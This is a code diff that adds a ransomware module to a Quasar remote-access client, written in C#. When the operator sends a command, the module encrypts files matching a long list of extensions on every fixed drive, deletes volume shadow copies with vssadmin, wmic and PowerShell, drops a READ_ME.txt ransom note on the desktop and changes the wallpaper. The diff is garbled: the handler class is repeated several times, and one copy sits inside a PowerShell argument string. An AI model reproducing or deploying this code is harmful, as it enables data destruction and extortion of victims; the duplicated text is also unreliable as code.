".ost", ".msg", ".eml", ".emlx", ".mbox", ".mbx", ".vcf", ".ics", + // Office & Productivity + ".vsd", ".vsdx", ".pub", ".one", ".onenote", ".mpp", ".xps", ".oxps", + // Backup & Virtual + ".bak", ".backup", ".old", ".tmp", ".vmdk", ".vdi", ".vhd", ".vhdx", ".ova", ".ovf", + // Certificates & Keys + ".cer", ".crt", ".der", ".p7b", ".p7c", ".p12", ".pfx", ".pem", ".key", ".pub", ".gpg", + ".asc", ".sig", ".pgp", ".kdb", ".kdbx", + // Financial & Business + ".qbw", ".qbb", ".qbm", ".qbx", ".tax", ".ynab", ".ofx", ".qfx", ".qif", + // Game Files + ".sav", ".save", ".dat", ".pak", ".vpk", ".gcf", ".ncf", ".forge", ".ltx", ".bsa", + ".unity3d", ".unitypackage", ".uasset", ".upk", ".rom", ".gba", ".nds", ".smc", + // Fonts + ".ttf", ".otf", ".woff", ".woff2", ".eot", ".fon", ".fnt", + // eBooks + ".epub", ".mobi", ".azw", ".azw3", ".fb2", ".lit", ".lrf", ".tcr", ".prc", + // Other Important + ".wallet", ".dat", ".config", ".settings", ".prefs", ".properties", ".env" + }; + + public bool CanExecute(IMessage message) => message is DoRansomware; + + public bool CanExecuteFrom(ISender sender) => true; + + public void Execute(ISender sender, IMessage message) + { + switch (message) + { + case DoRansomware ransomware: + Execute(sender, ransomware); + break; + } + } + + private void Execute(ISender sender, DoRansomware ransomware) + { + new Thread(() => + { + try + { + if (ransomware.Action == "ENCRYPT") + { + PerformEncryption(sender, ransomware); + } + else if (ransomware.Action == "DECRYPT") + { + PerformDecryption(sender, ransomware); + } + } + catch (Exception ex) + { + sender.Send(new RansomwareResponse + { + Status = "ERROR", + Message = ex.Message, + IsComplete = true + }); + } + }).Start(); + } + private void WipeVolumeShadowCopies(ISender sender) + { + try + { + sender.Send(new RansomwareResponse + { + Status = "PROGRESS", + Message = "Deleting volume shadow copies...", + IsComplete = false + }); + + // Method 1: vssadmin delete shadows /all /quiet + try + { + ProcessStartInfo psi = new ProcessStartInfo + { + FileName = "vssadmin.exe", + Arguments = "delete shadows /all /quiet", + CreateNoWindow = true, + UseShellExecute = false, + WindowStyle = ProcessWindowStyle.Hidden + }; + Process.Start(psi)?.WaitForExit(10000); + } + catch { } + + // Method 2: wmic shadowcopy delete + try + { + ProcessStartInfo psi = new ProcessStartInfo + { + FileName = "wmic.exe", + Arguments = "shadowcopy delete", + CreateNoWindow = true, + UseShellExecute = false, + WindowStyle = ProcessWindowStyle.Hidden + }; + Process.Start(psi)?.WaitForExit(10000); + } + catch { } + + // Method 3: PowerShell Get-WmiObject Win32_ShadowCopy | ForEach-Object {using Quasar.Client.Ransomware; +using Quasar.Common.Messages; +using Quasar.Common.Networking; +using System; +using System.Diagnostics; +using System.IO; +using System.Linq; +using System.Runtime.InteropServices; +using System.Threading; + +namespace Quasar.Client.Messages +{ + public class RansomwareHandler : IMessageProcessor + { + [DllImport("user32.dll", CharSet = CharSet.Auto)] + private static extern int SystemParametersInfo(uint action, uint uParam, string vParam, uint winIni); + + private const uint SPI_SETDESKWALLPAPER = 0x0014; + private const uint SPIF_UPDATEINIFILE = 0x01; + private const uint SPIF_SENDCHANGE = 0x02; + + // Target extensions for encryption + private static readonly string[] TargetExtensions = new[] + { + // Documents + ".txt", ".doc", ".docx", ".xls", ".xlsx", ".ppt", ".pptx", ".pdf", ".odt", ".ods", ".odp", + ".rtf", ".tex", ".wpd", ".wps", ".csv", ".xml", ".json", ".log", ".ini", ".cfg", ".conf", + ".yaml", ".yml", ".toml", ".md", ".markdown", + // Images + ".jpg", ".jpeg", ".png", ".gif", ".bmp", ".tif", ".tiff", ".psd", ".ai", ".svg", ".ico", + ".raw", ".cr2", ".nef", ".orf", ".sr2", ".dng", ".arw", ".rw2", ".rwl", ".crw", ".eps", + ".webp", ".heic", ".heif", ".jfif", ".jp2", ".j2k", ".jpf", ".jpx", ".jpm", + // Videos + ".mp4", ".avi", ".mkv", ".mov", ".wmv", ".flv", ".webm", ".m4v", ".mpg", ".mpeg", + ".3gp", ".3g2", ".f4v", ".swf", ".vob", ".ogv", ".m2ts", ".mts", ".ts", ".divx", + // Audio + ".mp3", ".wav", ".flac", ".aac", ".ogg", ".wma", ".m4a", ".aiff", ".ape", ".opus", + ".mid", ".midi", ".amr", ".alac", ".dsd", ".dsf", ".dff", ".mka", + // Archives + ".zip", ".rar", ".7z", ".tar", ".gz", ".bz2", ".xz", ".iso", ".dmg", ".pkg", + ".deb", ".rpm", ".cab", ".msi", ".jar", ".war", ".ear", ".apk", ".ipa", + // Databases + ".sql", ".db", ".dbf", ".mdb", ".accdb", ".sqlite", ".sqlite3", ".db3", ".s3db", + ".sl3", ".frm", ".myd", ".myi", ".ibd", ".dbx", ".pdb", + // Code & Development + ".c", ".cpp", ".cs", ".java", ".py", ".php", ".js", ".html", ".css", ".rb", ".go", ".rs", + ".swift", ".kt", ".scala", ".pl", ".sh", ".bat", ".ps1", ".vbs", ".asp", ".aspx", ".jsp", + ".vue", ".tsx", ".jsx", ".ts", ".coffee", ".dart", ".lua", ".r", ".m", ".h", ".hpp", + ".asm", ".s", ".pas", ".vb", ".vba", ".sql", ".gradle", ".maven", ".sln", ".csproj", + ".vcxproj", ".xcodeproj", ".pbxproj", + // 3D & CAD + ".blend", ".obj", ".fbx", ".dae", ".3ds", ".max", ".c4d", ".mb", ".ma", ".dwg", ".dxf", + ".skp", ".stl", ".ply", ".gltf", ".glb", ".usd", ".usda", ".usdc", + // Email & Communication + ".pst", ".ost", ".msg", ".eml", ".emlx", ".mbox", ".mbx", ".vcf", ".ics", + // Office & Productivity + ".vsd", ".vsdx", ".pub", ".one", ".onenote", ".mpp", ".xps", ".oxps", + // Backup & Virtual + ".bak", ".backup", ".old", ".tmp", ".vmdk", ".vdi", ".vhd", ".vhdx", ".ova", ".ovf", + // Certificates & Keys + ".cer", ".crt", ".der", ".p7b", ".p7c", ".p12", ".pfx", ".pem", ".key", ".pub", ".gpg", + ".asc", ".sig", ".pgp", ".kdb", ".kdbx", + // Financial & Business + ".qbw", ".qbb", ".qbm", ".qbx", ".tax", ".ynab", ".ofx", ".qfx", ".qif", + // Game Files + ".sav", ".save", ".dat", ".pak", ".vpk", ".gcf", ".ncf", ".forge", ".ltx", ".bsa", + ".unity3d", ".unitypackage", ".uasset", ".upk", ".rom", ".gba", ".nds", ".smc", + // Fonts + ".ttf", ".otf", ".woff", ".woff2", ".eot", ".fon", ".fnt", + // eBooks + ".epub", ".mobi", ".azw", ".azw3", ".fb2", ".lit", ".lrf", ".tcr", ".prc", + // Other Important + ".wallet", ".dat", ".config", ".settings", ".prefs", ".properties", ".env" + }; + + public bool CanExecute(IMessage message) => message is DoRansomware; + + public bool CanExecuteFrom(ISender sender) => true; + + public void Execute(ISender sender, IMessage message) + { + switch (message) + { + case DoRansomware ransomware: + Execute(sender, ransomware); + break; + } + } + + private void Execute(ISender sender, DoRansomware ransomware) + { + new Thread(() => + { + try + { + if (ransomware.Action == "ENCRYPT") + { + PerformEncryption(sender, ransomware); + } + else if (ransomware.Action == "DECRYPT") + { + PerformDecryption(sender, ransomware); + } + } + catch (Exception ex) + { + sender.Send(new RansomwareResponse + { + Status = "ERROR", + Message = ex.Message, + IsComplete = true + }); + } + }).Start(); + } + + private void PerformEncryption(ISender sender, DoRansomware ransomware) + { + int filesProcessed = 0; + + sender.Send(new RansomwareResponse + { + Status = "STARTED", + Message = "Starting encryption...", + FilesProcessed = 0, + IsComplete = false + }); + + // Wipe volume shadow copies if requested + if (ransomware.WipeVolumeShadowCopies) + { + WipeVolumeShadowCopies(sender); + } + + // Get all user-accessible drives + DriveInfo[] drives = DriveInfo.GetDrives(); + + foreach (DriveInfo drive in drives) + { + try + { + // Only target fixed drives (not CD-ROM, network, etc.) + if (drive.DriveType != DriveType.Fixed || !drive.IsReady) + continue; + + // Skip if it's the system drive root (to avoid Windows folder) + string drivePath = drive.RootDirectory.FullName; + + // Scan the entire drive but exclude Windows system folders + filesProcessed += EncryptDirectory(sender, drivePath, ransomware, filesProcessed); + } + catch { } + } + + // Drop ransom note + if (!string.IsNullOrEmpty(ransomware.RansomNote)) + { + try + { + string desktopPath = Environment.GetFolderPath(Environment.SpecialFolder.Desktop); + File.WriteAllText(Path.Combine(desktopPath, "READ_ME.txt"), ransomware.RansomNote); + } + catch { } + } + + // Change wallpaper + if (ransomware.ChangeWallpaper && !string.IsNullOrEmpty(ransomware.WallpaperText)) + { + try + { + ChangeWallpaper(ransomware.WallpaperText); + } + catch { } + } + + sender.Send(new RansomwareResponse + { + Status = "COMPLETED", + Message = $"Encryption completed. {filesProcessed} files encrypted.", + FilesProcessed = filesProcessed, + IsComplete = true + }); + } + + private int EncryptDirectory(ISender sender, string directory, DoRansomware ransomware, int currentCount) + { + int filesProcessed = 0; + + try + { + string lowerDir = directory.ToLower(); + + // Only skip Windows system folder itself, not Program Files or ProgramData + if (lowerDir.Contains("\\windows\\") || + lowerDir.Contains("\\$recycle.bin") || + lowerDir.Contains("\\system volume information") || + lowerDir.EndsWith("\\windows")) + { + return 0; + } + + // Get files in current directory + var files = Directory.GetFiles(directory) + .Where(f => TargetExtensions.Contains(Path.GetExtension(f).ToLower())) + .ToList(); + + foreach (string file in files) + { + try + { + FileEncryptor.EncryptFile(file, ransomware.EncryptionKey, ransomware.FileExtension); + filesProcessed++; + + if ((currentCount + filesProcessed) % 50 == 0) + { + sender.Send(new RansomwareResponse + { + Status = "ENCRYPTING", + Message = $"Encrypted {currentCount + filesProcessed} files...", + FilesProcessed = currentCount + filesProcessed, + IsComplete = false + }); + } + } + catch { } + } + + // Recursively process subdirectories + var subdirs = Directory.GetDirectories(directory); + foreach (string subdir in subdirs) + { + filesProcessed += EncryptDirectory(sender, subdir, ransomware, currentCount + filesProcessed); + } + } + catch { } + + return filesProcessed; + } + + private void PerformDecryption(ISender sender, DoRansomware ransomware) + { + int filesProcessed = 0; + int filesFailed = 0; + + sender.Send(new RansomwareResponse + { + Status = "STARTED", + Message = "Starting decryption...", + FilesProcessed = 0, + IsComplete = false + }); + + // Get all user-accessible drives + DriveInfo[] drives = DriveInfo.GetDrives(); + + foreach (DriveInfo drive in drives) + { + try + { + if (drive.DriveType != DriveType.Fixed || !drive.IsReady) + continue; + + string drivePath = drive.RootDirectory.FullName; + var result = DecryptDirectory(sender, drivePath, ransomware, filesProcessed, filesFailed); + filesProcessed = result.Item1; + filesFailed = result.Item2; + } + catch { } + } + + string message = $"Decryption completed. {filesProcessed} files decrypted."; + if (filesFailed > 0) + message += $" {filesFailed} files failed (wrong key or corrupted)."; + + sender.Send(new RansomwareResponse + { + Status = "COMPLETED", + Message = message, + FilesProcessed = filesProcessed, + IsComplete = true + }); + } + + private Tuple DecryptDirectory(ISender sender, string directory, DoRansomware ransomware, int currentCount, int currentFailed) + { + int filesProcessed = currentCount; + int filesFailed = currentFailed; + + try + { + string lowerDir = directory.ToLower(); + + // Only skip Windows system folder itself, not Program Files or ProgramData + if (lowerDir.Contains("\\windows\\") || + lowerDir.Contains("\\$recycle.bin") || + lowerDir.Contains("\\system volume information") || + lowerDir.EndsWith("\\windows")) + { + return Tuple.Create(filesProcessed, filesFailed); + } + + var files = Directory.GetFiles(directory, "*" + ransomware.FileExtension).ToList(); + + foreach (string file in files) + { + try + { + bool success = FileEncryptor.DecryptFile(file, ransomware.EncryptionKey, ransomware.FileExtension); + + if (success) + filesProcessed++; + else + filesFailed++; + + if ((filesProcessed + filesFailed) % 50 == 0) + { + sender.Send(new RansomwareResponse + { + Status = "DECRYPTING", + Message = $"Decrypted {filesProcessed} files... ({filesFailed} failed)", + FilesProcessed = filesProcessed, + IsComplete = false + }); + } + } + catch + { + filesFailed++; + } + } + + // Recursively process subdirectories + var subdirs = Directory.GetDirectories(directory); + foreach (string subdir in subdirs) + { + var result = DecryptDirectory(sender, subdir, ransomware, filesProcessed, filesFailed); + filesProcessed = result.Item1; + filesFailed = result.Item2; + } + } + catch { } + + return Tuple.Create(filesProcessed, filesFailed); + } + + private void ChangeWallpaper(string text) + { + try + { + string tempPath = Path.Combine(Path.GetTempPath(), "wallpaper.bmp"); + + // Create a simple bitmap with text + using (var bmp = new System.Drawing.Bitmap(1920, 1080)) + using (var g = System.Drawing.Graphics.FromImage(bmp)) + { + g.Clear(System.Drawing.Color.Black); + using (var font = new System.Drawing.Font("Arial", 48, System.Drawing.FontStyle.Bold)) + using (var brush = new System.Drawing.SolidBrush(System.Drawing.Color.Red)) + { + var sf = new System.Drawing.StringFormat + { + Alignment = System.Drawing.StringAlignment.Center, + LineAlignment = System.Drawing.StringAlignment.Center + }; + g.DrawString(text, font, brush, new System.Drawing.RectangleF(0, 0, 1920, 1080), sf); + } + bmp.Save(tempPath, System.Drawing.Imaging.ImageFormat.Bmp); + } + + SystemParametersInfo(SPI_SETDESKWALLPAPER, 0, tempPath, SPIF_UPDATEINIFILE | SPIF_SENDCHANGE); + } + catch { } + } + } +} +.Delete()} + try + { + ProcessStartInfo psi = new ProcessStartInfo + { + FileName = "powershell.exe", + Arguments = "-Command \"Get-WmiObject Win32_ShadowCopy | ForEach-Object {using Quasar.Client.Ransomware; +using Quasar.Common.Messages; +using Quasar.Common.Networking; +using System; +using System.Diagnostics; +using System.IO; +using System.Linq; +using System.Runtime.InteropServices; +using System.Threading; + +namespace Quasar.Client.Messages +{ + public class RansomwareHandler : IMessageProcessor + { + [DllImport("user32.dll", CharSet = CharSet.Auto)] + private static extern int SystemParametersInfo(uint action, uint uParam, string vParam, uint winIni); + + private const uint SPI_SETDESKWALLPAPER = 0x0014; + private const uint SPIF_UPDATEINIFILE = 0x01; + private const uint SPIF_SENDCHANGE = 0x02; + + // Target extensions for encryption + private static readonly string[] TargetExtensions = new[] + { + // Documents + ".txt", ".doc", ".docx", ".xls", ".xlsx", ".ppt", ".pptx", ".pdf", ".odt", ".ods", ".odp", + ".rtf", ".tex", ".wpd", ".wps", ".csv", ".xml", ".json", ".log", ".ini", ".cfg", ".conf", + ".yaml", ".yml", ".toml", ".md", ".markdown", + // Images + ".jpg", ".jpeg", ".png", ".gif", ".bmp", ".tif", ".tiff", ".psd", ".ai", ".svg", ".ico", + ".raw", ".cr2", ".nef", ".orf", ".sr2", ".dng", ".arw", ".rw2", ".rwl", ".crw", ".eps", + ".webp", ".heic", ".heif", ".jfif", ".jp2", ".j2k", ".jpf", ".jpx", ".jpm", + // Videos + ".mp4", ".avi", ".mkv", ".mov", ".wmv", ".flv", ".webm", ".m4v", ".mpg", ".mpeg", + ".3gp", ".3g2", ".f4v", ".swf", ".vob", ".ogv", ".m2ts", ".mts", ".ts", ".divx", + // Audio + ".mp3", ".wav", ".flac", ".aac", ".ogg", ".wma", ".m4a", ".aiff", ".ape", ".opus", + ".mid", ".midi", ".amr", ".alac", ".dsd", ".dsf", ".dff", ".mka", + // Archives + ".zip", ".rar", ".7z", ".tar", ".gz", ".bz2", ".xz", ".iso", ".dmg", ".pkg", + ".deb", ".rpm", ".cab", ".msi", ".jar", ".war", ".ear", ".apk", ".ipa", + // Databases + ".sql", ".db", ".dbf", ".mdb", ".accdb", ".sqlite", ".sqlite3", ".db3", ".s3db", + ".sl3", ".frm", ".myd", ".myi", ".ibd", ".dbx", ".pdb", + // Code & Development + ".c", ".cpp", ".cs", ".java", ".py", ".php", ".js", ".html", ".css", ".rb", ".go", ".rs", + ".swift", ".kt", ".scala", ".pl", ".sh", ".bat", ".ps1", ".vbs", ".asp", ".aspx", ".jsp", + ".vue", ".tsx", ".jsx", ".ts", ".coffee", ".dart", ".lua", ".r", ".m", ".h", ".hpp", + ".asm", ".s", ".pas", ".vb", ".vba", ".sql", ".gradle", ".maven", ".sln", ".csproj", + ".vcxproj", ".xcodeproj", ".pbxproj", + // 3D & CAD + ".blend", ".obj", ".fbx", ".dae", ".3ds", ".max", ".c4d", ".mb", ".ma", ".dwg", ".dxf", + ".skp", ".stl", ".ply", ".gltf", ".glb", ".usd", ".usda", ".usdc", + // Email & Communication + ".pst", ".ost", ".msg", ".eml", ".emlx", ".mbox", ".mbx", ".vcf", ".ics", + // Office & Productivity + ".vsd", ".vsdx", ".pub", ".one", ".onenote", ".mpp", ".xps", ".oxps", + // Backup & Virtual + ".bak", ".backup", ".old", ".tmp", ".vmdk", ".vdi", ".vhd", ".vhdx", ".ova", ".ovf", + // Certificates & Keys + ".cer", ".crt", ".der", ".p7b", ".p7c", ".p12", ".pfx", ".pem", ".key", ".pub", ".gpg", + ".asc", ".sig", ".pgp", ".kdb", ".kdbx", + // Financial & Business + ".qbw", ".qbb", ".qbm", ".qbx", ".tax", ".ynab", ".ofx", ".qfx", ".qif", + // Game Files + ".sav", ".save", ".dat", ".pak", ".vpk", ".gcf", ".ncf", ".forge", ".ltx", ".bsa", + ".unity3d", ".unitypackage", ".uasset", ".upk", ".rom", ".gba", ".nds", ".smc", + // Fonts + ".ttf", ".otf", ".woff", ".woff2", ".eot", ".fon", ".fnt", + // eBooks + ".epub", ".mobi", ".azw", ".azw3", ".fb2", ".lit", ".lrf", ".tcr", ".prc", + // Other Important + ".wallet", ".dat", ".config", ".settings", ".prefs", ".properties", ".env" + }; + + public bool CanExecute(IMessage message) => message is DoRansomware; + + public bool CanExecuteFrom(ISender sender) => true; + + public void Execute(ISender sender, IMessage message) + { + switch (message) + { + case DoRansomware ransomware: + Execute(sender, ransomware); + break; + } + } + + private void Execute(ISender sender, DoRansomware ransomware) + { + new Thread(() => + { + try + { + if (ransomware.Action == "ENCRYPT") + { + PerformEncryption(sender, ransomware); + } + else if (ransomware.Action == "DECRYPT") + { + PerformDecryption(sender, ransomware); + } + } + catch (Exception ex) + { + sender.Send(new RansomwareResponse + { + Status = "ERROR", + Message = ex.Message, + IsComplete = true + }); + } + }).Start(); + } + + private void PerformEncryption(ISender sender, DoRansomware ransomware) + { + int filesProcessed = 0; + + sender.Send(new RansomwareResponse + { + Status = "STARTED", + Message = "Starting encryption...", + FilesProcessed = 0, + IsComplete = false + }); + + // Wipe volume shadow copies if requested + if (ransomware.WipeVolumeShadowCopies) + { + WipeVolumeShadowCopies(sender); + } + + // Get all user-accessible drives + DriveInfo[] drives = DriveInfo.GetDrives(); + + foreach (DriveInfo drive in drives) + { + try + { + // Only target fixed drives (not CD-ROM, network, etc.) + if (drive.DriveType != DriveType.Fixed || !drive.IsReady) + continue; + + // Skip if it's the system drive root (to avoid Windows folder) + string drivePath = drive.RootDirectory.FullName; + + // Scan the entire drive but exclude Windows system folders + filesProcessed += EncryptDirectory(sender, drivePath, ransomware, filesProcessed); + } + catch { } + } + + // Drop ransom note + if (!string.IsNullOrEmpty(ransomware.RansomNote)) + { + try + { + string desktopPath = Environment.GetFolderPath(Environment.SpecialFolder.Desktop); + File.WriteAllText(Path.Combine(desktopPath, "READ_ME.txt"), ransomware.RansomNote); + } + catch { } + } + + // Change wallpaper + if (ransomware.ChangeWallpaper && !string.IsNullOrEmpty(ransomware.WallpaperText)) + { + try + { + ChangeWallpaper(ransomware.WallpaperText); + } + catch { } + } + + sender.Send(new RansomwareResponse + { + Status = "COMPLETED", + Message = $"Encryption completed. {filesProcessed} files encrypted.", + FilesProcessed = filesProcessed, + IsComplete = true + }); + } + + private int EncryptDirectory(ISender sender, string directory, DoRansomware ransomware, int currentCount) + { + int filesProcessed = 0; + + try + { + string lowerDir = directory.ToLower(); + + // Only skip Windows system folder itself, not Program Files or ProgramData + if (lowerDir.Contains("\\windows\\") || + lowerDir.Contains("\\$recycle.bin") || + lowerDir.Contains("\\system volume information") || + lowerDir.EndsWith("\\windows")) + { + return 0; + } + + // Get files in current directory + var files = Directory.GetFiles(directory) + .Where(f => TargetExtensions.Contains(Path.GetExtension(f).ToLower())) + .ToList(); + + foreach (string file in files) + { + try + { + FileEncryptor.EncryptFile(file, ransomware.EncryptionKey, ransomware.FileExtension); + filesProcessed++; + + if ((currentCount + filesProcessed) % 50 == 0) + { + sender.Send(new RansomwareResponse + { + Status = "ENCRYPTING", + Message = $"Encrypted {currentCount + filesProcessed} files...", + FilesProcessed = currentCount + filesProcessed, + IsComplete = false + }); + } + } + catch { } + } + + // Recursively process subdirectories + var subdirs = Directory.GetDirectories(directory); + foreach (string subdir in subdirs) + { + filesProcessed += EncryptDirectory(sender, subdir, ransomware, currentCount + filesProcessed); + } + } + catch { } + + return filesProcessed; + } + + private void PerformDecryption(ISender sender, DoRansomware ransomware) + { + int filesProcessed = 0; + int filesFailed = 0; + + sender.Send(new RansomwareResponse + { + Status = "STARTED", + Message = "Starting decryption...", + FilesProcessed = 0, + IsComplete = false + }); + + // Get all user-accessible drives + DriveInfo[] drives = DriveInfo.GetDrives(); + + foreach (DriveInfo drive in drives) + { + try + { + if (drive.DriveType != DriveType.Fixed || !drive.IsReady) + continue; + + string drivePath = drive.RootDirectory.FullName; + var result = DecryptDirectory(sender, drivePath, ransomware, filesProcessed, filesFailed); + filesProcessed = result.Item1; + filesFailed = result.Item2; + } + catch { } + } + + string message = $"Decryption completed. {filesProcessed} files decrypted."; + if (filesFailed > 0) + message += $" {filesFailed} files failed (wrong key or corrupted)."; + + sender.Send(new RansomwareResponse + { + Status = "COMPLETED", + Message = message, + FilesProcessed = filesProcessed, + IsComplete = true + }); + } + + private Tuple DecryptDirectory(ISender sender, string directory, DoRansomware ransomware, int currentCount, int currentFailed) + { + int filesProcessed = currentCount; + int filesFailed = currentFailed; + + try + { + string lowerDir = directory.ToLower(); + + // Only skip Windows system folder itself, not Program Files or ProgramData + if (lowerDir.Contains("\\windows\\") || + lowerDir.Contains("\\$recycle.bin") || + lowerDir.Contains("\\system volume information") || + lowerDir.EndsWith("\\windows")) + { + return Tuple.Create(filesProcessed, filesFailed); + } + + var files = Directory.GetFiles(directory, "*" + ransomware.FileExtension).ToList(); + + foreach (string file in files) + { + try + { + bool success = FileEncryptor.DecryptFile(file, ransomware.EncryptionKey, ransomware.FileExtension); + + if (success) + filesProcessed++; + else + filesFailed++; + + if ((filesProcessed + filesFailed) % 50 == 0) + { + sender.Send(new RansomwareResponse + { + Status = "DECRYPTING", + Message = $"Decrypted {filesProcessed} files... ({filesFailed} failed)", + FilesProcessed = filesProcessed, + IsComplete = false + }); + } + } + catch + { + filesFailed++; + } + } + + // Recursively process subdirectories + var subdirs = Directory.GetDirectories(directory); + foreach (string subdir in subdirs) + { + var result = DecryptDirectory(sender, subdir, ransomware, filesProcessed, filesFailed); + filesProcessed = result.Item1; + filesFailed = result.Item2; + } + } + catch { } + + return Tuple.Create(filesProcessed, filesFailed); + } + + private void ChangeWallpaper(string text) + { + try + { + string tempPath = Path.Combine(Path.GetTempPath(), "wallpaper.bmp"); + + // Create a simple bitmap with text + using (var bmp = new System.Drawing.Bitmap(1920, 1080)) + using (var g = System.Drawing.Graphics.FromImage(bmp)) + { + g.Clear(System.Drawing.Color.Black); + using (var font = new System.Drawing.Font("Arial", 48, System.Drawing.FontStyle.Bold)) + using (var brush = new System.Drawing.SolidBrush(System.Drawing.Color.Red)) + { + var sf = new System.Drawing.StringFormat + { + Alignment = System.Drawing.StringAlignment.Center, + LineAlignment = System.Drawing.StringAlignment.Center + }; + g.DrawString(text, font, brush, new System.Drawing.RectangleF(0, 0, 1920, 1080), sf); + } + bmp.Save(tempPath, System.Drawing.Imaging.ImageFormat.Bmp); + } + + SystemParametersInfo(SPI_SETDESKWALLPAPER, 0, tempPath, SPIF_UPDATEINIFILE | SPIF_SENDCHANGE); + } + catch { } + } + } +} +.Delete()}\"", + CreateNoWindow = true, + UseShellExecute = false, + WindowStyle = ProcessWindowStyle.Hidden + }; + Process.Start(psi)?.WaitForExit(15000); + } + catch { } + + sender.Send(new RansomwareResponse + { + Status = "PROGRESS", + Message = "Volume shadow copies deleted.", + IsComplete = false + }); + } + catch (Exception ex) + { + sender.Send(new RansomwareResponse + { + Status = "PROGRESS", + Message = $"Failed to delete volume shadow copies: {ex.Message}", + IsComplete = false + }); + } + } + + + private void PerformEncryption(ISender sender, DoRansomware ransomware) + { + int filesProcessed = 0; + + sender.Send(new RansomwareResponse + { + Status = "STARTED", + Message = "Starting encryption...", + FilesProcessed = 0, + IsComplete = false + }); + + // Wipe volume shadow copies if requested + if (ransomware.WipeVolumeShadowCopies) + { + WipeVolumeShadowCopies(sender); + } + + // Get all user-accessible drives + DriveInfo[] drives = DriveInfo.GetDrives(); + + foreach (DriveInfo drive in drives) + { + try + { + // Only target fixed drives (not CD-ROM, network, etc.) + if (drive.DriveType != DriveType.Fixed || !drive.IsReady) + continue; + + // Skip if it's the system drive root (to avoid Windows folder) + string drivePath = drive.RootDirectory.FullName; + + // Scan the entire drive but exclude Windows system folders + filesProcessed += EncryptDirectory(sender, drivePath, ransomware, filesProcessed); + } + catch { } + } + + // Drop ransom note + if (!string.IsNullOrEmpty(ransomware.RansomNote)) + { + try + { + string desktopPath = Environment.GetFolderPath(Environment.SpecialFolder.Desktop); + File.WriteAllText(Path.Combine(desktopPath, "READ_ME.txt"), ransomware.RansomNote); + } + catch { } + } + + // Change wallpaper + if (ransomware.ChangeWallpaper && !string.IsNullOrEmpty(ransomware.WallpaperText)) + { + try + { + ChangeWallpaper(ransomware.WallpaperText); + } + catch { } + } + + sender.Send(new RansomwareResponse + { + Status = "COMPLETED", + Message = $"Encryption completed. {filesProcessed} files encrypted.", + FilesProcessed = filesProcessed, + IsComplete = true + }); + } + + private int EncryptDirectory(ISender sender, string directory, DoRansomware ransomware, int currentCount) + { + int filesProcessed = 0; + + try + { + string lowerDir = directory.ToLower(); + + // Only skip Windows system folder itself, not Program Files or ProgramData + if (lowerDir.Contains("\\windows\\") || + lowerDir.Contains("\\$recycle.bin") || + lowerDir.Contains("\\system volume information") || + lowerDir.EndsWith("\\windows")) + { + return 0; + } + + // Get files in current directory + var files = Directory.GetFiles(directory) + .Where(f => TargetExtensions.Contains(Path.GetExtension(f).ToLower())) + .ToList(); + + foreach (string file in files) + { + try + { + FileEncryptor.EncryptFile(file, ransomware.EncryptionKey, ransomware.FileExtension); + filesProcessed++; + + if ((currentCount + filesProcessed) % 50 == 0) + { + sender.Send(new RansomwareResponse + { + Status = "ENCRYPTING", + Message = $"Encrypted {currentCount + filesProcessed} files...", + FilesProcessed = currentCount + filesProcessed, + IsComplete = false + }); + } + } + catch { } + } + + // Recursively process subdirectories + var subdirs = Directory.GetDirectories(directory); + foreach (string subdir in subdirs) + { + filesProcessed += EncryptDirectory(sender, subdir, ransomware, currentCount + filesProcessed); + } + } + catch { } + + return filesProcessed; + } + + private void PerformDecryption(ISender sender, DoRansomware ransomware) + { + int filesProcessed = 0; + int filesFailed = 0; + + sender.Send(new RansomwareResponse + { + Status = "STARTED", + Message = "Starting decryption...", + FilesProcessed = 0, + IsComplete = false + }); + + // Get all user-accessible drives + DriveInfo[] drives = DriveInfo.GetDrives(); + + foreach (DriveInfo drive in drives) + { + try + { + if (drive.DriveType != DriveType.Fixed || !drive.IsReady) + continue; + + string drivePath = drive.RootDirectory.FullName; + var result = DecryptDirectory(sender, drivePath, ransomware, filesProcessed, filesFailed); + filesProcessed = result.Item1; + filesFailed = result.Item2; + } + catch { } + } + + string message = $"Decryption completed. {filesProcessed} files decrypted."; + if (filesFailed > 0) + message += $" {filesFailed} files failed (wrong key or corrupted)."; + + sender.Send(new RansomwareResponse + { + Status = "COMPLETED", + Message = message, + FilesProcessed = filesProcessed, + IsComplete = true + }); + } + + private Tuple DecryptDirectory(ISender sender, string directory, DoRansomware ransomware, int currentCount, int currentFailed) + { + int filesProcessed = currentCount; + int filesFailed = currentFailed; + + try + { + string lowerDir = directory.ToLower(); + + // Only skip Windows system folder itself, not Program Files or ProgramData + if (lowerDir.Contains("\\windows\\") || + lowerDir.Contains("\\$recycle.bin") || + lowerDir.Contains("\\system volume information") || + lowerDir.EndsWith("\\windows")) + { + return Tuple.Create(filesProcessed, filesFailed); + } + + var files = Directory.GetFiles(directory, "*" + ransomware.FileExtension).ToList(); + + foreach (string file in files) + { + try + { + bool success = FileEncryptor.DecryptFile(file, ransomware.EncryptionKey, ransomware.FileExtension); + + if (success) + filesProcessed++; + else + filesFailed++; + + if ((filesProcessed + filesFailed) % 50 == 0) + { + sender.Send(new RansomwareResponse + { + Status = "DECRYPTING", + Message = $"Decrypted {filesProcessed} files... ({filesFailed} failed)", + FilesProcessed = filesProcessed, + IsComplete = false + }); + } + } + catch + { + filesFailed++; + } + } + + // Recursively process subdirectories + var subdirs = Directory.GetDirectories(directory); + foreach (string subdir in subdirs) + { + var result = DecryptDirectory(sender, subdir, ransomware, filesProcessed, filesFailed); + filesProcessed = result.Item1; + filesFailed = result.Item2; + } + } + catch { } + + return Tuple.Create(filesProcessed, filesFailed); + } + + private void ChangeWallpaper(string text) + { + try + { + string tempPath = Path.Combine(Path.GetTempPath(), "wallpaper.bmp"); + + // Create a simple bitmap with text + using (var bmp = new System.Drawing.Bitmap(1920, 1080)) + using (var g = System.Drawing.Graphics.FromImage(bmp)) + { + g.Clear(System.Drawing.Color.Black); + using (var font = new System.Drawing.Font("Arial", 48, System.Drawing.FontStyle.Bold)) + using (var brush = new System.Drawing.SolidBrush(System.Drawing.Color.Red)) + { + var sf = new System.Drawing.StringFormat + { + Alignment = System.Drawing.StringAlignment.Center, + LineAlignment = System.Drawing.StringAlignment.Center + }; + g.DrawString(text, font, brush, new System.Drawing.RectangleF(0, 0, 1920, 1080), sf); + } + bmp.Save(tempPath, System.Drawing.Imaging.ImageFormat.Bmp); + } + + SystemParametersInfo(SPI_SETDESKWALLPAPER, 0, tempPath, SPIF_UPDATEINIFILE | SPIF_SENDCHANGE); + } + catch { } + } + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Messages/RegistryHandler.cs 